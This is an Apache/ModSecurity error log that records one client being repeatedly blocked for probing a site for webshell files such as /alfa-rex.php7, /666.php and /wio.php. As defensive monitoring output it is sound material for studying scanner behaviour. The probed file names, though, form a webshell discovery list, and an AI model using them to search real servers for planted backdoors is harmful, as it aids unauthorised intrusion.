[Mon Mar 02 05:36:10.655372 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:4736] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mans.php"] [unique_id "aaSxSv-JFLfishX45N8rHQAAARI"]
[Mon Mar 02 05:36:13.688615 2026] [:error] [pid 28795:tid 28884] [client 20.215.209.82:18788] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mans.php"] [unique_id "aaSxTbROd53wZBkdI_cWSAAAAJU"]
[Mon Mar 02 05:36:14.442205 2026] [:error] [pid 31257:tid 31264] [client 20.215.209.82:4512] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rum.php"] [unique_id "aaSxTv-JFLfishX45N8rMAAAAQE"]
[Mon Mar 02 05:36:15.610603 2026] [:error] [pid 28908:tid 28933] [client 20.215.209.82:4506] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rum.php"] [unique_id "aaSxT4qJmC8ih_lQQnDx9QAAANc"]
[Mon Mar 02 05:36:18.268779 2026] [:error] [pid 28795:tid 28879] [client 20.215.209.82:4773] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rum.php"] [unique_id "aaSxUrROd53wZBkdI_cWYgAAAJA"]
[Mon Mar 02 05:36:19.657896 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:30913] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/rum.php"] [unique_id "aaSxU_-JFLfishX45N8rPwAAARA"]
[Mon Mar 02 05:36:20.732742 2026] [:error] [pid 28794:tid 28838] [client 20.215.209.82:21514] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaSxVKVy2qpaelbUob0HewAAAEI"]
[Mon Mar 02 05:36:22.648325 2026] [:error] [pid 28908:tid 28914] [client 20.215.209.82:23622] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaSxVoqJmC8ih_lQQnDyDAAAAMQ"]
[Mon Mar 02 05:36:24.265641 2026] [:error] [pid 31257:tid 31278] [client 20.215.209.82:10779] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaSxWP-JFLfishX45N8rawAAAQ8"]
[Mon Mar 02 05:36:25.580775 2026] [:error] [pid 28908:tid 28914] [client 20.215.209.82:23628] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaSxWYqJmC8ih_lQQnDyKQAAAMQ"]
[Mon Mar 02 05:36:27.662703 2026] [:error] [pid 31257:tid 31264] [client 20.215.209.82:4269] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wio.php"] [unique_id "aaSxW_-JFLfishX45N8regAAAQE"]
[Mon Mar 02 05:36:28.437365 2026] [:error] [pid 31257:tid 31265] [client 20.215.209.82:22046] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wio.php"] [unique_id "aaSxXP-JFLfishX45N8rhQAAAQI"]
[Mon Mar 02 05:36:30.652589 2026] [:error] [pid 28794:tid 28843] [client 20.215.209.82:4512] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wio.php"] [unique_id "aaSxXqVy2qpaelbUob0HhQAAAEc"]
[Mon Mar 02 05:36:32.320456 2026] [:error] [pid 28908:tid 28919] [client 20.215.209.82:31636] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wio.php"] [unique_id "aaSxYIqJmC8ih_lQQnDyaQAAAMk"]
[Mon Mar 02 05:36:33.658199 2026] [:error] [pid 31257:tid 31268] [client 20.215.209.82:18754] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/clasa99.php"] [unique_id "aaSxYf-JFLfishX45N8rqgAAAQU"]
[Mon Mar 02 05:36:34.720782 2026] [:error] [pid 28908:tid 28914] [client 20.215.209.82:23620] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/clasa99.php"] [unique_id "aaSxYoqJmC8ih_lQQnDyiQAAAMQ"]
[Mon Mar 02 05:36:36.737493 2026] [:error] [pid 28795:tid 28879] [client 20.215.209.82:31640] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/clasa99.php"] [unique_id "aaSxZLROd53wZBkdI_cWogAAAJA"]
[Mon Mar 02 05:36:38.064959 2026] [:error] [pid 31257:tid 31280] [client 20.215.209.82:40198] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/clasa99.php"] [unique_id "aaSxZv-JFLfishX45N8rvAAAARE"]
[Mon Mar 02 05:36:39.236156 2026] [:error] [pid 31257:tid 31273] [client 20.215.209.82:36088] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaSxZ_-JFLfishX45N8ryAAAAQo"]
[Mon Mar 02 05:36:41.602466 2026] [:error] [pid 28908:tid 28920] [client 20.215.209.82:4230] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaSxaYqJmC8ih_lQQnDytAAAAMo"]
[Mon Mar 02 05:36:43.344126 2026] [:error] [pid 31257:tid 31264] [client 20.215.209.82:31643] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaSxa_-JFLfishX45N8r5wAAAQE"]
[Mon Mar 02 05:36:44.510859 2026] [:error] [pid 28795:tid 28866] [client 20.215.209.82:38190] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa-rex.php7"] [unique_id "aaSxbLROd53wZBkdI_cWugAAAIM"]
[Mon Mar 02 05:36:45.427454 2026] [:error] [pid 28794:tid 28850] [client 20.215.209.82:31673] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws62.php"] [unique_id "aaSxbaVy2qpaelbUob0HmgAAAE4"]
[Mon Mar 02 05:36:47.605540 2026] [:error] [pid 31257:tid 31278] [client 20.215.209.82:40206] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws62.php"] [unique_id "aaSxb_-JFLfishX45N8sDwAAAQ8"]
[Mon Mar 02 05:36:48.624831 2026] [:error] [pid 28908:tid 28920] [client 20.215.209.82:4263] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws62.php"] [unique_id "aaSxcIqJmC8ih_lQQnDy2QAAAMo"]
[Mon Mar 02 05:36:49.350485 2026] [:error] [pid 28908:tid 28933] [client 20.215.209.82:40221] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws62.php"] [unique_id "aaSxcYqJmC8ih_lQQnDy4gAAANc"]
[Mon Mar 02 05:36:50.449032 2026] [:error] [pid 28793:tid 28823] [client 20.215.209.82:10776] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aaSxcg2_fxBANaHo1f4DPQAAABA"]
[Mon Mar 02 05:36:51.564251 2026] [:error] [pid 31257:tid 31273] [client 20.215.209.82:31625] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aaSxc_-JFLfishX45N8sHQAAAQo"]
[Mon Mar 02 05:36:54.160141 2026] [:error] [pid 31257:tid 31266] [client 20.215.209.82:4605] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aaSxdv-JFLfishX45N8sNgAAAQM"]
[Mon Mar 02 05:36:56.306519 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:4767] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new4.php"] [unique_id "aaSxeP-JFLfishX45N8sYwAAARA"]
[Mon Mar 02 05:36:58.060996 2026] [:error] [pid 31257:tid 31275] [client 20.215.209.82:4784] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aaSxev-JFLfishX45N8skAAAAQw"]
[Mon Mar 02 05:36:59.510156 2026] [:error] [pid 31257:tid 31263] [client 20.215.209.82:19040] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aaSxe_-JFLfishX45N8suQAAAQA"]
[Mon Mar 02 05:37:00.949477 2026] [:error] [pid 31257:tid 31271] [client 20.215.209.82:38166] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aaSxfP-JFLfishX45N8sxgAAAQg"]
[Mon Mar 02 05:37:02.560176 2026] [:error] [pid 28795:tid 28863] [client 20.215.209.82:19051] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aaSxfrROd53wZBkdI_cW1QAAAIA"]
[Mon Mar 02 05:37:04.320990 2026] [:error] [pid 28795:tid 28879] [client 20.215.209.82:38593] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/co.php"] [unique_id "aaSxgLROd53wZBkdI_cW2gAAAJA"]
[Mon Mar 02 05:38:10.810154 2026] [:error] [pid 28795:tid 28887] [client 20.215.209.82:24365] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaSxwrROd53wZBkdI_cXdgAAAJg"]
[Mon Mar 02 05:38:11.994178 2026] [:error] [pid 31257:tid 31286] [client 20.215.209.82:13765] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaSxw_-JFLfishX45N8uNwAAARc"]
[Mon Mar 02 05:38:13.273987 2026] [:error] [pid 31257:tid 31286] [client 20.215.209.82:20591] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaSxxf-JFLfishX45N8uPgAAARc"]
[Mon Mar 02 05:38:14.524781 2026] [:error] [pid 31257:tid 31286] [client 20.215.209.82:27536] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaSxxv-JFLfishX45N8uTAAAARc"]
[Mon Mar 02 05:38:15.243268 2026] [:error] [pid 31257:tid 31286] [client 20.215.209.82:28273] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/c4.php"] [unique_id "aaSxx_-JFLfishX45N8uVQAAARc"]
[Mon Mar 02 05:38:18.431341 2026] [:error] [pid 31257:tid 31286] [client 20.215.209.82:14388] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/c4.php"] [unique_id "aaSxyv-JFLfishX45N8uYQAAARc"]
[Mon Mar 02 05:38:20.987734 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:17269] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/c4.php"] [unique_id "aaSxzP-JFLfishX45N8ucAAAARI"]
[Mon Mar 02 05:38:22.838362 2026] [:error] [pid 28908:tid 28913] [client 20.215.209.82:5358] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/c4.php"] [unique_id "aaSxzoqJmC8ih_lQQnDz3wAAAMM"]
[Mon Mar 02 05:38:35.041579 2026] [:error] [pid 28794:tid 28850] [client 20.215.209.82:5330] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eauu.php"] [unique_id "aaSx26Vy2qpaelbUob0IegAAAE4"]
[Mon Mar 02 05:38:36.350711 2026] [:error] [pid 28908:tid 28915] [client 20.215.209.82:44516] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eauu.php"] [unique_id "aaSx3IqJmC8ih_lQQnD0DwAAAMU"]
[Mon Mar 02 05:38:37.908321 2026] [:error] [pid 31257:tid 31276] [client 20.215.209.82:17736] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eauu.php"] [unique_id "aaSx3f-JFLfishX45N8u5wAAAQ0"]
[Mon Mar 02 05:38:38.657279 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:30518] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fasx.php"] [unique_id "aaSx3v-JFLfishX45N8u7gAAARA"]
[Mon Mar 02 05:38:40.683830 2026] [:error] [pid 28794:tid 28859] [client 20.215.209.82:36841] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fasx.php"] [unique_id "aaSx4KVy2qpaelbUob0IgAAAAFc"]
[Mon Mar 02 05:38:43.646950 2026] [:error] [pid 28793:tid 28811] [client 20.215.209.82:26006] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fasx.php"] [unique_id "aaSx4w2_fxBANaHo1f4D0gAAAAQ"]
[Mon Mar 02 05:38:45.456449 2026] [:error] [pid 28794:tid 28844] [client 20.215.209.82:4816] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fasx.php"] [unique_id "aaSx5aVy2qpaelbUob0IiQAAAEg"]
[Mon Mar 02 05:38:46.903539 2026] [:error] [pid 28795:tid 28881] [client 20.215.209.82:16666] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaSx5rROd53wZBkdI_cX3AAAAJI"]
[Mon Mar 02 05:38:49.847459 2026] [:error] [pid 31257:tid 31267] [client 20.215.209.82:36860] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaSx6f-JFLfishX45N8vPQAAAQQ"]
[Mon Mar 02 05:38:56.702672 2026] [:error] [pid 28908:tid 28917] [client 20.215.209.82:14353] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/opts.php"] [unique_id "aaSx8IqJmC8ih_lQQnD0PwAAAMc"]
[Mon Mar 02 05:39:05.588273 2026] [:error] [pid 28794:tid 28858] [client 20.215.209.82:32068] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nzv.php"] [unique_id "aaSx-aVy2qpaelbUob0ItAAAAFY"]
[Mon Mar 02 05:39:07.635009 2026] [:error] [pid 28794:tid 28847] [client 20.215.209.82:40413] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nzv.php"] [unique_id "aaSx-6Vy2qpaelbUob0IugAAAEs"]
[Mon Mar 02 05:39:51.431885 2026] [:error] [pid 31257:tid 31264] [client 20.215.209.82:40363] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aaSyJ_-JFLfishX45N8xCQAAAQE"]
